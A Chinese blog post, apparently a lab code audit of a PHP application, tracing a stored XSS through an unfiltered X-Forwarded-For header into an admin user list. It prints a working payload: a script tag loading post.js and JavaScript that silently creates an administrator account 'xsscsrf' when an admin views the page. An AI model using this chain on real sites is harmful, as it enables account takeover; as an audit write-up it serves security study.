博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
审计4 XSS
阅读量:4677 次
发布时间:2019-06-09

本文共 2225 字,大约阅读时间需要 7 分钟。

在sys/libphp中

1 function get_client_ip(){ 2     if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ 3         $ip = $_SERVER["HTTP_CLIENT_IP"]; 4     }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ 5         $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; 6     }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ 7         $ip = $_SERVER["REMOTE_ADDR"]; 8     }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ 9         $ip = $_SERVER['REMOTE_ADDR'];10     }else{11         $ip = "unknown";12     }13     return($ip);14 }

在代码段中发现服务器在$_SERVER["HTTP_CLIENT_IP"] 中获取了客户端的ip,然后搜索这个自定义的函数 get_client_ip()看获取iP后,有没有对ip进行过滤。直接将其

带入了数据库,并更新数据库!

1 

在14行发现只是用sqlwaf()函数对获取的ip进行了过滤。而sqlwaf在前面已经看过只是对sql语句进行了转移,而没有对xss的实体字符进行转义

  发现login_ip的长度限制为255,所以可以尽情地xss不用考虑长度问题。
1 
11
12
13
14
15
16
17
18
19
20
23
24
25
26
27
28
29
30
31
Id Name Ip Manege
删除
32 33 返回34

在manageUser.php中,发现将login_ip直接输出了出来。由此可以看出XSS可以利用。

 

在用户登录时 修改x-forwarded-for  然后查看数据库发现

对包裹http的双引号进行了转义所以可以  直接把  <script src="http://127.0.0.1/post.js"></script>  直接改成<script src=http://127.0.0.1/post.js></script>他在浏览器加载的时候会自动生成双引号包裹

构造payload:

1 (function(){ 2     var xmlHttp; 3     try{ 4         xmlHttp= new XMLHttpRequest(); 5     }catch(e){ 6         try{ 7         xmlHttp =new ActiveXObject('Msxm12.XMLHTTP'); 8         }catch(e){ 9             try{10         xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');11         }catch(e){12         }13         }14     }15     xmlHttp.open("POST","http://127.0.0.1/admin/manageAdmin.php",true);16     xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');17     xmlHttp.send('username=xsscsrf&password=123456'|| null);18 })();

在管理员查看用户信息时被添加账号  xsscsrf管理员账号!

利用成功!

 

 

 

 

 

 

转载于:https://www.cnblogs.com/pojun/p/7348250.html

你可能感兴趣的文章
Helper
查看>>
架构设计系列-前端模式的后端(BFF)翻译PhilCalçado
查看>>
常用dos命令
查看>>
Redis学习第四课:Redis List类型及操作
查看>>
满血复活前的记录(持续更新ing)
查看>>
vs2008使用过AnkhSVN后不能绑定到vss的问题解决
查看>>
在vue中使用sass
查看>>
IPv4组播通信原理
查看>>
Sql Server 新的日期类型
查看>>
“我爱淘”冲刺阶段Scrum站立会议8
查看>>
js获取元素class的几种方法
查看>>
delphi 枚举类型与字符串的转换
查看>>
UVA-10689 Yet another Number Sequence (矩阵二分幂模板)
查看>>
element自定义表单验证
查看>>
Mysql 存储引擎的区别和比较
查看>>
vue管理平台的动态路由(后台传递路由,前端拿到并生成侧边栏)
查看>>
HDU 5412 CRB and Queries 动态整体二分
查看>>
TJU1044
查看>>
shell 查看系统信息
查看>>
Questions
查看>>